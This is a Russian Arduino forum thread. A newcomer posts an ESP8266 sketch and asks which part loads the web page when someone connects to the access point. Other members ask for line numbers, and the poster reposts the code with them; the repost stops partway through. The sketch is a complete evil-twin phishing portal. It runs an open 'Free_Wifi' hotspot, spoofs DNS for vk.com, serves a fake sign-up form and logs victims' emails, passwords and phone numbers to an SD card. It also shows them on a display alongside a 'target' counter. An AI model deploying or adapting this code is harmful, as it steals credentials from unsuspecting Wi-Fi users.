проект по ESP8266 точке доступа скетча hunter.ino

BellaDmitry
Offline
Зарегистрирован: 21.04.2021

Помогите разобрать скетч, что здесь отвечает за загрузку страници при подключении к точке доступа? Заранее спасибо, что помогли новичку

#include <Arduino.h>
#include <U8g2lib.h>
#include <ESP8266WiFi.h>
#include <ESP8266WebServer.h>
#include <DNSServer.h>
#include "notes.h"
 
 
#include <SPI.h>
#include <SD.h>
 
 
#ifdef U8X8_HAVE_HW_I2C
#include <Wire.h>
#endif
 
IPAddress local_IP(192,168,0,1);
IPAddress gateway(192,168,0,1);
IPAddress subnet(255,255,255,0);
 
DNSServer dnsServer;
ESP8266WebServer server(80);
 
const int buzzer = 15;
bool buzzerStatus = true;
 
U8G2_SSD1306_128X32_UNIVISION_F_HW_I2C u8g2(U8G2_R0, /* reset=*/ U8X8_PIN_NONE);
ADC_MODE(ADC_VCC);
 
const int chipSelect = 1;
File myFile;
 
int loginAttempts = 0;
String email = "";
String password = "";
String Mobile = "";
 
//logo-----------------------------
 
 
#define u8g2_logo_width 128
#define u8g2_logo_height 32
static unsigned char u8g2_logo_bits[] U8X8_PROGMEM = {
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFE,0xFF,0x03,
0x00,0xFE,0xFF,0xFC,0xF1,0x07,0x78,0x86,0x3F,0x3F,0x00,0x00,0x00,0xFF,0xFF,0x07,
0x00,0xFE,0xFF,0xFC,0xF1,0x07,0xFE,0x8E,0x1F,0x3F,0x00,0x00,0x80,0xFF,0xFF,0x0F,
0x00,0x78,0xE0,0x70,0xE0,0x81,0xFF,0x07,0x07,0x0E,0x00,0x00,0xC0,0xFF,0xFF,0x0F,
0x00,0x38,0xE0,0x70,0xE0,0xC1,0xC7,0x07,0x07,0x07,0x00,0x00,0xC0,0xFF,0xFF,0x0F,
0x00,0x38,0x60,0x70,0xE0,0xE0,0x01,0x07,0x87,0x03,0x00,0x00,0xC0,0xFF,0xFF,0x0F,
0x00,0x3C,0x66,0x78,0xF0,0xE0,0x00,0x86,0xE7,0x01,0x00,0x00,0xC0,0xFF,0xFF,0x1F,
0x00,0x1C,0x06,0x78,0xF0,0xF0,0x00,0x86,0xF3,0x00,0x00,0x00,0xE0,0xFF,0xFF,0x1F,
0x00,0x1C,0x07,0x38,0xF0,0x70,0x00,0x80,0x7F,0x00,0x00,0x00,0xE0,0xFF,0xFF,0x1F,
0x00,0xFC,0x03,0x3C,0xF0,0x70,0x00,0x80,0x3F,0x00,0x00,0x00,0xE0,0xFF,0xFF,0x1F,
0x00,0xFC,0x03,0x3C,0xF0,0x78,0x00,0x80,0x3F,0x00,0x00,0x00,0xF0,0xFF,0xFF,0x1F,
0x00,0x1C,0x03,0x1C,0x70,0x78,0x00,0xC0,0x73,0x00,0x00,0x00,0xF0,0xFF,0xFF,0x1F,
0x00,0x1E,0x03,0x1C,0x70,0x78,0x00,0xC0,0x71,0x00,0x80,0x00,0x70,0x83,0x0F,0x16,
0x00,0x1E,0x00,0x1C,0x78,0xF0,0x80,0xC1,0xE1,0x00,0x80,0x01,0x60,0x00,0x07,0x10,
0x00,0x1E,0x00,0x3C,0x38,0xF0,0x81,0xC1,0xE1,0x00,0x80,0x01,0xC0,0x00,0x07,0x18,
0x00,0x0E,0x00,0x3C,0x3E,0xF0,0xF1,0xC1,0xE1,0x01,0x80,0x01,0xC0,0x00,0x03,0x1C,
0x00,0x0E,0x00,0xF8,0x1F,0xE0,0xFF,0xC1,0xC1,0x01,0xC0,0x01,0xC0,0xC0,0x07,0x0C,
0xC0,0x3F,0x00,0xF0,0x07,0xC0,0x7F,0xF0,0xC7,0x0F,0x80,0x01,0x80,0xC0,0x07,0x04,
0xC0,0x3F,0x00,0xE0,0x03,0x00,0x1F,0xF0,0x87,0x0F,0x40,0x01,0xA0,0xF6,0x3E,0x16,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x03,0x40,0xFF,0xFE,0x1A,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x03,0xC0,0x7F,0xFC,0x0F,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x03,0x80,0x3F,0xF9,0x07,
0x80,0x03,0xDC,0x01,0x0F,0xF0,0x03,0x7E,0xC0,0x18,0x80,0x02,0x00,0x3F,0xF9,0x03,
0xC0,0x07,0xD8,0x80,0x1F,0xD0,0x02,0x4C,0x80,0x0D,0x00,0x46,0x00,0x7E,0x7B,0x01,
0xC0,0x00,0x50,0x80,0x01,0xD0,0x02,0x2C,0x80,0x0F,0x90,0x9B,0x00,0xFE,0xFF,0x01,
0x80,0x03,0x70,0x00,0x0F,0xC0,0x00,0x3C,0x80,0x0A,0xD8,0xB7,0x01,0xFE,0x6F,0x01,
0x00,0x06,0x20,0x00,0x18,0xC0,0x00,0x2C,0x80,0x0A,0x98,0xB4,0x01,0xAE,0xAA,0x01,
0xC0,0x07,0x20,0x80,0x1F,0xC0,0x00,0x4C,0x80,0x08,0x4E,0xB5,0x01,0xA4,0x8B,0x01,
0x80,0x03,0x70,0x00,0x0F,0xE0,0x01,0x7E,0xC0,0x1D,0x66,0xB1,0x01,0x8C,0xC9,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x26,0xBA,0x00,0x1C,0x60,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x26,0x5F,0x00,0xBC,0xF6,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x6C,0xF7,0x00,0xF8,0x7F,0x00,
 
};
 
//logo end-----------------------------
 
void setup() {
  Serial.begin(9600);
  u8g2.begin();
  u8g2.enableUTF8Print();
  
 
 
  u8g2.firstPage();
  do {
    u8g2.setFont(u8g2_font_ncenB10_tr);
    u8g2.drawXBMP(0,0, u8g2_logo_width, u8g2_logo_height, u8g2_logo_bits);
  } while ( u8g2.nextPage() );
 
  delay(2000);
 
    u8g2.clearBuffer();
 
 
  u8g2.drawStr(0,22,"GHOST HUNTER");
  u8g2.sendBuffer();
  delay(1500);
  u8g2.clearBuffer();
  u8g2.drawStr(0,22,"SV404 PROJECT");
  u8g2.sendBuffer();
  delay(1000);
  u8g2.clearBuffer();
  
  
  u8g2.drawStr(0,20,"Initial SD card...");
  u8g2.sendBuffer();
  delay(1000);
  u8g2.clearBuffer();
  
  Serial.print("Initializing SD card...");
  
  //выполняем вывод надписи на экран при отсутствии СД карты 
  delay(1000);
  if (!SD.begin(chipSelect)) {
    Serial.println("initialization failed!");
    u8g2.drawStr(0,20,"Insert SD card !!!");
    u8g2.sendBuffer();
 
    
  delay(500);
    u8g2.clearBuffer();
// звуковое оповещение при отсутствии карты памяти
    tone(buzzer, NOTE_A7); delay(100);
  tone(buzzer, NOTE_C7); delay(100);
  tone(buzzer, NOTE_A7); delay(100);
  tone(buzzer, NOTE_C7); delay(100);
  tone(buzzer, NOTE_A7); delay(100);
  tone(buzzer, NOTE_C7); delay(100);
   
  noTone(buzzer);
   
  delay(1000);
 
  // конец вывода и чистим экран
 
  //return;
 }   
  Serial.println("initialization done.");
  
  
  if( SD.exists("buzzer") ){ buzzerStatus = true; }
  swapBuzzer();
  
 
 
  Serial.print("Setting soft-AP configuration ... ");
  u8g2.drawStr(0,20,"Startig WIFI...");
  u8g2.sendBuffer();
  delay(1000);
  u8g2.clearBuffer();
  
  Serial.println(WiFi.softAPConfig(local_IP, gateway, subnet) ? "Ready" : "Failed!");
  Serial.print("Setting soft-AP ... ");
  Serial.println(WiFi.softAP("Free_Wifi", "", 1, false, 6) ? "Ready" : "Failed!");
  Serial.print("Soft-AP IP address = ");
  Serial.println(WiFi.softAPIP());
  
  server.on("/", httpHome);
  server.on("/login", httpLogin);
  server.on("/register", httpRegister);
  server.onNotFound(httpDefault);
  if (server.hostHeader() == String("freewifi.lan")) {
    return httpHome();
  }
  server.begin();
 
  dnsServer.setErrorReplyCode(DNSReplyCode::NoError);
  dnsServer.start(53, "vk.com", local_IP);
 
  pinMode(buzzer, OUTPUT); 
  Serial.println("Setup done");
  u8g2.drawStr(0,20,"SETUP DONE");
  u8g2.sendBuffer();
  delay(1000);
  u8g2.clearBuffer();
  Serial.println(WiFi.softAPIP());
 
  
  doubleBuzz();   
 
  getBatteryLevel();
  
  delay(100);
}
 
void doubleBuzz(){
  if(buzzerStatus == true){
   tone(buzzer, NOTE_A7); delay(100);
  tone(buzzer, NOTE_G7); delay(100);
  tone(buzzer, NOTE_E7); delay(100); 
  tone(buzzer, NOTE_C7); delay(100);  
  tone(buzzer, NOTE_D7); delay(100); 
  tone(buzzer, NOTE_B7); delay(100); 
  tone(buzzer, NOTE_F7); delay(100); 
  tone(buzzer, NOTE_C7); delay(100);
  noTone(buzzer);  
  }
}
 
void Sd_ErrorBeep() {  // звук "ERROR"
  for (int j=0; j <3; j++){
    for (int i=1000; i<2000; i=i*1.1) { tone(buzzer, i); delay(10); }
    delay(50);
    for (int i=1000; i>500; i=i*1.9) { tone(buzzer, i); delay(10); }
    delay(50);
  noTone(buzzer);
  delay(1000);
  }
}
void buzzerIcon(){
  if(buzzerStatus){
    u8g2.setFont(u8g2_font_6x10_mf);
    u8g2.drawStr(118, 10, ">");  
  }
}
void swapBuzzer(){
  if(buzzerStatus){
    SD.remove("Sd_ErrorBeep()");
  }else{
    myFile = SD.open("buzzer", FILE_WRITE);
    myFile.print("Buzzer Enabled");
    myFile.close();
  } 
}
 
int getBatteryLevel() { 
  uint32_t getVcc = ESP.getVcc();
  //Serial.println(getVcc);
  float measuredvbat = getVcc; // for actual voltage
  measuredvbat /= 1024; // convert to voltage 
  //Serial.println(measuredvbat);
 
  int percent = map(getVcc, 2300, 3000, 0, 100); // turn vcc into batt percentage (yea I know it's not that accurate due to dropoff rate)
  return percent; 
  //return random(10,90); //DEBUG
}
 
void battSideBar(int percent){
  percent = map(percent, 0, 100, 1, 32);
  if(percent > 32){ percent = 32; }
  if(percent < 1){ percent = 1; }
 
  u8g2.drawLine(124, 32-percent,124, 32);
 
  u8g2.drawLine(127, 0, 127, 32);   // vert line
  u8g2.drawLine(126, 0, 127, 0);    // top marker (100%)
  u8g2.drawLine(126, 8, 127, 8);    // (75%)
  u8g2.drawLine(126, 16, 127, 16);  // middle marker (50%)
  u8g2.drawLine(126, 24, 127, 24);  //(25%)
  u8g2.drawLine(126, 31, 127, 31);  // botttom marker (0%)
}
 
int noConnected(){
  int conns = WiFi.softAPgetStationNum();
  
  String connStr = "";
  connStr += conns;
  connStr += "/6";
  char connChr[connStr.length()+1]; 
  connStr.toCharArray(connChr, connStr.length()+1);
 
  u8g2.setFont(u8g2_font_6x10_mf);
  u8g2.drawStr(100,21,connChr);
}
 
int noAttempts(){
  String atmpStr = "target:";
  atmpStr += loginAttempts;
  char atmpChr[atmpStr.length()+1]; 
  atmpStr.toCharArray(atmpChr, atmpStr.length()+1);
 
  u8g2.setFont(u8g2_font_6x10_mf);
  u8g2.drawStr(70,32,atmpChr);
}
 
void creds(){  
  char emailChr[email.length()+1];
  email.toCharArray(emailChr, email.length()+1);
  u8g2.setFont(u8g2_font_6x10_mf);
  u8g2.drawStr(0,10,emailChr);
 
  char passwordChr[password.length()+1];
  password.toCharArray(passwordChr, password.length()+1);
  u8g2.setFont(u8g2_font_6x10_mf);
  u8g2.drawStr(0,21,passwordChr);
 
  char MobileChr[Mobile.length()+1];
  Mobile.toCharArray(MobileChr, Mobile.length()+1);
  u8g2.setFont(u8g2_font_6x10_mf);
  u8g2.drawStr(0,32,MobileChr);
}
 
void httpDefault(){
  server.sendHeader("Location", "http://freewifi.lan", true);
  server.send(302, "text/plain", "");
  server.client().stop();
}
 
void httpHome(){
  server.send(200, "text/html", SendHTML(false,false));
}
void httpLogin(){
  server.send(200, "text/html", SendHTML(true,false));
}
void httpRegister(){
  loginAttempts += 1;
  email = server.arg("email");
  password = server.arg("pass");
  Mobile = server.arg("no");
  
  Serial.println(email);
  Serial.println(password);
  Serial.println(Mobile);
 
  myFile = SD.open("credz.txt", FILE_WRITE);
  myFile.print(email);
  myFile.print(":");
  myFile.print(password);
  myFile.print(":");
  myFile.println(Mobile);
  myFile.close();
 
  doubleBuzz(); 
  
  server.send(200, "text/html", SendHTML(false,true));
}
 
String SendHTML(uint8_t login,uint8_t reg){
  String page = "<head><title>Free WiFi Portal</title></head><body><center><div style=\"text-align:center;width:300px\">";
  page += "<img src=\"data:image/png;base64, /9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAUDBAQEAwUEBAQFBQUGBwwIBwcHBw8LCwkMEQ8SEhEPERETFhwXExQaFRERGCEYGh0dHx8fExciJCIeJBweHx7/2wBDAQUFBQcGBw4ICA4eFBEUHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh7/wAARCADIASwDASIAAhEBAxEB/8QAHQABAAICAwEBAAAAAAAAAAAAAAcIAQkEBQYCA//EAGIQAAEDAgMEAwcKDwoLCQEAAAEAAgMEBQYHEQgSITETQVEiYXGBkaGzCRQVGDJWdJKV0hcjNjdCUmJydYKUorGy0RYlMzRDU1Vjg8EkOERFVFdkhZbC0yYnNUZ2hJOjtOH/xAAXAQEBAQEAAAAAAAAAAAAAAAAAAQID/8QAGxEBAQEAAwEBAAAAAAAAAAAAAAEREiExAkH/2gAMAwEAAhEDEQA/ALloiICIiAiIgIiICIiAiLDnBoJcdAgyviWRsUbnvcGtaNST1KB83NpfBeEHT2uwEYlvDNWltPJpTQu4+7l46kdjdfCFUvMzOHH2YE0kV9vUkdC89zbqMuipgOoFoOsnhcSpq4uZmHtGZZ4SkkpW3V17r2ag01r0lDSBro6TUMHxie8oHxhte4trnPhwzYLZZ4eG7LVuNTMfxe5aD4iq3aeADqAGgCaKNSJCvud+a15e51Tjm6R73NlIW0zfJGBw8a8dcMRYhuDt6vvt2rCddTNWyPJ8rl1jRospR9SOe86ue5x7XHUr7pp54X78VRNE7tY8tPmX5lAs/o9Jacf44tDwbXjC/wBLpyDa+TdHiJ0XucO7Seb1ne1smIILpE08Y7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lt2moqqc9Qjgc7XyBEUHoLTlzmBdhrb8EYiqRw0c23ytade+4ABe4w9s05vXd0ZksFNaonc319Yxgb4Ws3neZEQqVMIbHQD2y4vxiXD7OntcAaT/aSE/qKccB5LZbYJdHNZ8NU0lZHxFZWD1xOD2hz9d0/egIiRnUjlAiLaCIiAiIgIiICIiAiIgIiIP/2Q==\" alt=\"Free WiFi Logo\" />";
  if(login){
    page += "<br><br><b>Incorrect Code</b>";
  }
  if(reg){
    page += "<br><br><b>You'r code from SMS</b>";
  }
  page += "<br><br><b><u>Login Code</u></b><br><br>";
  page += "<form action=\"/login\" method=\"post\"><input type=\"text\" placeholder=\"code\"><input type=\"submit\" value=\"submit\"></form>";
 
  page += "<br><b><u>Register</u></b><br><br>";
  page += "<div style=\"text-align:right\">";
  page += "<form action=\"/register\" method=\"post\">Email: <input type=\"text\" name=\"email\" placeholder=\"name@service.com\" ><br>Password: <input type=\"password\" name=\"pass\" placeholder=\"password\"><br>Mobile No.: <input type=\"text\" name=\"no\" placeholder=\"+7.......\"><br></div><input type=\"submit\" value=\"submit\"></form>";
  page += "</center></div></body>";
 
  return page;
}
 
void loop() {
 
  u8g2.clearBuffer(); 
  int percent = getBatteryLevel();
  battSideBar(percent);
  
  dnsServer.processNextRequest();
 
  buzzerIcon();
  noConnected();
  noAttempts();
  creds();
  server.handleClient();
 
  u8g2.sendBuffer();
  delay(1000);
}
 
b707
Offline
Зарегистрирован: 26.05.2017

BellaDmitry пишет:

Помогите разобрать скетч, что здесь отвечает за загрузку страници при подключении к точке доступа?

как, по Вашему, можно указать. что в этом коде за что отвечает - если тут даже номеров строк нет? Вставьте код по правилам форума.
ЕвгенийП
ЕвгенийП аватар
Offline
Зарегистрирован: 25.05.2015

BellaDmitry пишет:

что здесь отвечает за загрузку страници при подключении к точке доступа?

Начиная со строки №ХЗ и по строку №ХЗ. Также к этому имеет отношение ещё и строка №ХЗ.

BellaDmitry
Offline
Зарегистрирован: 21.04.2021

ЕвгенийП пишет:

BellaDmitry пишет:

что здесь отвечает за загрузку страници при подключении к точке доступа?

Начиная со строки №ХЗ и по строку №ХЗ. Также к этому имеет отношение ещё и строка №ХЗ.

А просто скопировать часть кода не можете?

BellaDmitry
Offline
Зарегистрирован: 21.04.2021
1. #include <Arduino.h>
2. #include <U8g2lib.h>
3. #include <ESP8266WiFi.h>
4. #include <ESP8266WebServer.h>
5. #include <DNSServer.h>
6. #include "notes.h"
7. 
8. 
9. #include <SPI.h>
10. #include <SD.h>
11. 
12. 
13. #ifdef U8X8_HAVE_HW_I2C
14. #include <Wire.h>
15. #endif
16. 
17. IPAddress local_IP(192,168,0,1);
18. IPAddress gateway(192,168,0,1);
19. IPAddress subnet(255,255,255,0);
20. 
21. DNSServer dnsServer;
22. ESP8266WebServer server(80);
23. 
24. const int buzzer = 15;
25. bool buzzerStatus = true;
26. 
27. U8G2_SSD1306_128X32_UNIVISION_F_HW_I2C u8g2(U8G2_R0, /* reset=*/ U8X8_PIN_NONE);
28. ADC_MODE(ADC_VCC);
29. 
30. const int chipSelect = 1;
31. File myFile;
32. 
33. int loginAttempts = 0;
34. String email = "";
35. String password = "";
36. String Mobile = "";
37. 
38. //logo-----------------------------
39. 
40. 
41. #define u8g2_logo_width 128
42. #define u8g2_logo_height 32
43. static unsigned char u8g2_logo_bits[] U8X8_PROGMEM = {
44. 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFE,0xFF,0x03,
45. 0x00,0xFE,0xFF,0xFC,0xF1,0x07,0x78,0x86,0x3F,0x3F,0x00,0x00,0x00,0xFF,0xFF,0x07,
46. 0x00,0xFE,0xFF,0xFC,0xF1,0x07,0xFE,0x8E,0x1F,0x3F,0x00,0x00,0x80,0xFF,0xFF,0x0F,
47. 0x00,0x78,0xE0,0x70,0xE0,0x81,0xFF,0x07,0x07,0x0E,0x00,0x00,0xC0,0xFF,0xFF,0x0F,
48. 0x00,0x38,0xE0,0x70,0xE0,0xC1,0xC7,0x07,0x07,0x07,0x00,0x00,0xC0,0xFF,0xFF,0x0F,
49. 0x00,0x38,0x60,0x70,0xE0,0xE0,0x01,0x07,0x87,0x03,0x00,0x00,0xC0,0xFF,0xFF,0x0F,
50. 0x00,0x3C,0x66,0x78,0xF0,0xE0,0x00,0x86,0xE7,0x01,0x00,0x00,0xC0,0xFF,0xFF,0x1F,
51. 0x00,0x1C,0x06,0x78,0xF0,0xF0,0x00,0x86,0xF3,0x00,0x00,0x00,0xE0,0xFF,0xFF,0x1F,
52. 0x00,0x1C,0x07,0x38,0xF0,0x70,0x00,0x80,0x7F,0x00,0x00,0x00,0xE0,0xFF,0xFF,0x1F,
53. 0x00,0xFC,0x03,0x3C,0xF0,0x70,0x00,0x80,0x3F,0x00,0x00,0x00,0xE0,0xFF,0xFF,0x1F,
54. 0x00,0xFC,0x03,0x3C,0xF0,0x78,0x00,0x80,0x3F,0x00,0x00,0x00,0xF0,0xFF,0xFF,0x1F,
55. 0x00,0x1C,0x03,0x1C,0x70,0x78,0x00,0xC0,0x73,0x00,0x00,0x00,0xF0,0xFF,0xFF,0x1F,
56. 0x00,0x1E,0x03,0x1C,0x70,0x78,0x00,0xC0,0x71,0x00,0x80,0x00,0x70,0x83,0x0F,0x16,
57. 0x00,0x1E,0x00,0x1C,0x78,0xF0,0x80,0xC1,0xE1,0x00,0x80,0x01,0x60,0x00,0x07,0x10,
58. 0x00,0x1E,0x00,0x3C,0x38,0xF0,0x81,0xC1,0xE1,0x00,0x80,0x01,0xC0,0x00,0x07,0x18,
59. 0x00,0x0E,0x00,0x3C,0x3E,0xF0,0xF1,0xC1,0xE1,0x01,0x80,0x01,0xC0,0x00,0x03,0x1C,
60. 0x00,0x0E,0x00,0xF8,0x1F,0xE0,0xFF,0xC1,0xC1,0x01,0xC0,0x01,0xC0,0xC0,0x07,0x0C,
61. 0xC0,0x3F,0x00,0xF0,0x07,0xC0,0x7F,0xF0,0xC7,0x0F,0x80,0x01,0x80,0xC0,0x07,0x04,
62. 0xC0,0x3F,0x00,0xE0,0x03,0x00,0x1F,0xF0,0x87,0x0F,0x40,0x01,0xA0,0xF6,0x3E,0x16,
63. 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x03,0x40,0xFF,0xFE,0x1A,
64. 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x03,0xC0,0x7F,0xFC,0x0F,
65. 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x03,0x80,0x3F,0xF9,0x07,
66. 0x80,0x03,0xDC,0x01,0x0F,0xF0,0x03,0x7E,0xC0,0x18,0x80,0x02,0x00,0x3F,0xF9,0x03,
67. 0xC0,0x07,0xD8,0x80,0x1F,0xD0,0x02,0x4C,0x80,0x0D,0x00,0x46,0x00,0x7E,0x7B,0x01,
68. 0xC0,0x00,0x50,0x80,0x01,0xD0,0x02,0x2C,0x80,0x0F,0x90,0x9B,0x00,0xFE,0xFF,0x01,
69. 0x80,0x03,0x70,0x00,0x0F,0xC0,0x00,0x3C,0x80,0x0A,0xD8,0xB7,0x01,0xFE,0x6F,0x01,
70. 0x00,0x06,0x20,0x00,0x18,0xC0,0x00,0x2C,0x80,0x0A,0x98,0xB4,0x01,0xAE,0xAA,0x01,
71. 0xC0,0x07,0x20,0x80,0x1F,0xC0,0x00,0x4C,0x80,0x08,0x4E,0xB5,0x01,0xA4,0x8B,0x01,
72. 0x80,0x03,0x70,0x00,0x0F,0xE0,0x01,0x7E,0xC0,0x1D,0x66,0xB1,0x01,0x8C,0xC9,0x00,
73. 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x26,0xBA,0x00,0x1C,0x60,0x00,
74. 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x26,0x5F,0x00,0xBC,0xF6,0x00,
75. 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x6C,0xF7,0x00,0xF8,0x7F,0x00,
76. 
77. };
78. 
79. //logo end-----------------------------
80. 
81. void setup() {
82. Serial.begin(9600);
83. u8g2.begin();
84. u8g2.enableUTF8Print();
85. 
86. 
87. 
88. u8g2.firstPage();
89. do {
90. u8g2.setFont(u8g2_font_ncenB10_tr);
91. u8g2.drawXBMP(0,0, u8g2_logo_width, u8g2_logo_height, u8g2_logo_bits);
92. } while ( u8g2.nextPage() );
93. 
94. delay(2000);
95. 
96. u8g2.clearBuffer();
97. 
98. 
99. u8g2.drawStr(0,22,"GHOST HUNTER");
100. u8g2.sendBuffer();
101. delay(1500);
102. u8g2.clearBuffer();
103. u8g2.drawStr(0,22,"SV404 PROJECT");
104. u8g2.sendBuffer();
105. delay(1000);
106. u8g2.clearBuffer();
107. 
108. 
109. u8g2.drawStr(0,20,"Initial SD card...");
110. u8g2.sendBuffer();
111. delay(1000);
112. u8g2.clearBuffer();
113. 
114. Serial.print("Initializing SD card...");
115. 
116. //выполняем вывод надписи на экран при отсутствии СД карты
117. delay(1000);
118. if (!SD.begin(chipSelect)) {
119. Serial.println("initialization failed!");
120. u8g2.drawStr(0,20,"Insert SD card !!!");
121. u8g2.sendBuffer();
122. 
123. 
124. delay(500);
125. u8g2.clearBuffer();
126. // звуковое оповещение при отсутствии карты памяти
127. tone(buzzer, NOTE_A7); delay(100);
128. tone(buzzer, NOTE_C7); delay(100);
129. tone(buzzer, NOTE_A7); delay(100);
130. tone(buzzer, NOTE_C7); delay(100);
131. tone(buzzer, NOTE_A7); delay(100);
132. tone(buzzer, NOTE_C7); delay(100);
133. 
134. noTone(buzzer);
135. 
136. delay(1000);
137. 
138. // конец вывода и чистим экран
139. 
140. //return;
141. }
142. Serial.println("initialization done.");
143. 
144. 
145. if( SD.exists("buzzer") ){ buzzerStatus = true; }
146. swapBuzzer();
147. 
148. 
149. 
150. Serial.print("Setting soft-AP configuration ... ");
151. u8g2.drawStr(0,20,"Startig WIFI...");
152. u8g2.sendBuffer();
153. delay(1000);
154. u8g2.clearBuffer();
155. 
156. Serial.println(WiFi.softAPConfig(local_IP, gateway, subnet) ? "Ready" : "Failed!");
157. Serial.print("Setting soft-AP ... ");
158. Serial.println(WiFi.softAP("Free_Wifi", "", 1, false, 6) ? "Ready" : "Failed!");
159. Serial.print("Soft-AP IP address = ");
160. Serial.println(WiFi.softAPIP());
161. 
162. server.on("/", httpHome);
163. server.on("/login", httpLogin);
164. server.on("/register", httpRegister);
165. server.onNotFound(httpDefault);
166. if (server.hostHeader() == String("freewifi.lan")) {
167. return httpHome();
168. }
169. server.begin();
170. 
171. dnsServer.setErrorReplyCode(DNSReplyCode::NoError);
172. dnsServer.start(53, "vk.com", local_IP);
173. 
174. pinMode(buzzer, OUTPUT);
175. Serial.println("Setup done");
176. u8g2.drawStr(0,20,"SETUP DONE");
177. u8g2.sendBuffer();
178. delay(1000);
179. u8g2.clearBuffer();
180. Serial.println(WiFi.softAPIP());
181. 
182. 
183. doubleBuzz();
184. 
185. getBatteryLevel();
186. 
187. delay(100);
188. }
189. 
190. void doubleBuzz(){
191. if(buzzerStatus == true){
192. tone(buzzer, NOTE_A7); delay(100);
193. tone(buzzer, NOTE_G7); delay(100);
194. tone(buzzer, NOTE_E7); delay(100);
195. tone(buzzer, NOTE_C7); delay(100);
196. tone(buzzer, NOTE_D7); delay(100);
197. tone(buzzer, NOTE_B7); delay(100);
198. tone(buzzer, NOTE_F7); delay(100);
199. tone(buzzer, NOTE_C7); delay(100);
200. noTone(buzzer);
201. }
202. }
203. 
204. void Sd_ErrorBeep() { // звук "ERROR"
205. for (int j=0; j <3; j++){
206. for (int i=1000; i<2000; i=i*1.1) { tone(buzzer, i); delay(10); }
207. delay(50);
208. for (int i=1000; i>500; i=i*1.9) { tone(buzzer, i); delay(10); }
209. delay(50);
210. noTone(buzzer);
211. delay(1000);
212. }
213. }
214. void buzzerIcon(){
215. if(buzzerStatus){
216. u8g2.setFont(u8g2_font_6x10_mf);
217. u8g2.drawStr(118, 10, ">");
218. }
219. }
220. void swapBuzzer(){
221. if(buzzerStatus){
222. SD.remove("Sd_ErrorBeep()");
223. }else{
224. myFile = SD.open("buzzer", FILE_WRITE);
225. myFile.print("Buzzer Enabled");
226. myFile.close();
227. }
228. }
229. 
230. int getBatteryLevel() {
231. uint32_t getVcc = ESP.getVcc();
232. //Serial.println(getVcc);
233. float measuredvbat = getVcc; // for actual voltage
234. measuredvbat /= 1024; // convert to voltage
235. //Serial.println(measuredvbat);
236. 
237. int percent = map(getVcc, 2300, 3000, 0, 100); // turn vcc into batt percentage (yea I know it's not that accurate due to dropoff rate)
238. return percent;
239. //return random(10,90); //DEBUG
240. }
241. 
242. void battSideBar(int percent){
243. percent = map(percent, 0, 100, 1, 32);
244. if(percent > 32){ percent = 32; }
245. if(percent < 1){ percent = 1; }
246. 
247. u8g2.drawLine(124, 32-percent,124, 32);
248. 
249. u8g2.drawLine(127, 0, 127, 32); // vert line
250. u8g2.drawLine(126, 0, 127, 0); // top marker (100%)
251. u8g2.drawLine(126, 8, 127, 8); // (75%)
252. u8g2.drawLine(126, 16, 127, 16); // middle marker (50%)
253. u8g2.drawLine(126, 24, 127, 24); //(25%)
254. u8g2.drawLine(126, 31, 127, 31); // botttom marker (0%)
255. }
256. 
257. int noConnected(){
258. int conns = WiFi.softAPgetStationNum();
259. 
260. String connStr = "";
261. connStr += conns;
262. connStr += "/6";
263. char connChr[connStr.length()+1];
264. connStr.toCharArray(connChr, connStr.length()+1);
265. 
266. u8g2.setFont(u8g2_font_6x10_mf);
267. u8g2.drawStr(100,21,connChr);
268. }
269. 
270. int noAttempts(){
271. String atmpStr = "target:";
272. atmpStr += loginAttempts;
273. char atmpChr[atmpStr.length()+1];
274. atmpStr.toCharArray(atmpChr, atmpStr.length()+1);
275. 
276. u8g2.setFont(u8g2_font_6x10_mf);
277. u8g2.drawStr(70,32,atmpChr);
278. }
279. 
280. void creds(){
281. char emailChr[email.length()+1];
282. email.toCharArray(emailChr, email.length()+1);
283. u8g2.setFont(u8g2_font_6x10_mf);
284. u8g2.drawStr(0,10,emailChr);
285. 
286. char passwordChr[password.length()+1];
287. password.toCharArray(passwordChr, password.length()+1);
288. u8g2.setFont(u8g2_font_6x10_mf);
289. u8g2.drawStr(0,21,passwordChr);
290. 
291. char MobileChr[Mobile.length()+1];
292. Mobile.toCharArray(MobileChr, Mobile.length()+1);
293. u8g2.setFont(u8g2_font_6x10_mf);
294. u8g2.drawStr(0,32,MobileChr);
295. }
296. 
297. void httpDefault(){
298. server.sendHeader("Location", "http://freewifi.lan", true);
299. server.send(302, "text/plain", "");
300. server.client().stop();
301. }
302. 
303. void httpHome(){
304. server.send(200, "text/html", SendHTML(false,false));
305. }
306. void httpLogin(){
307. server.send(200, "text/html", SendHTML(true,false));
308. }
309. void httpRegister(){
310. loginAttempts += 1;
311. email = server.arg("email");
312. password = server.arg("pass");
313. Mobile = server.arg("no");
314. 
315. Serial.println(email);
316. Serial.println(password);
317. Serial.println(Mobile);
318. 
319. myFile = SD.open("credz.txt", FILE_WRITE);
320. myFile.print(email);
321. myFile.print(":");
322. myFile.print(password);
323. myFile.print(":");
324. myFile.println(Mobile);
325. myFile.close();
326. 
327. doubleBuzz();
328. 
329. server.send(200, "text/html", SendHTML(false,true));
330. }
331. 
332. String SendHTML(uint8_t login,uint8_t reg){
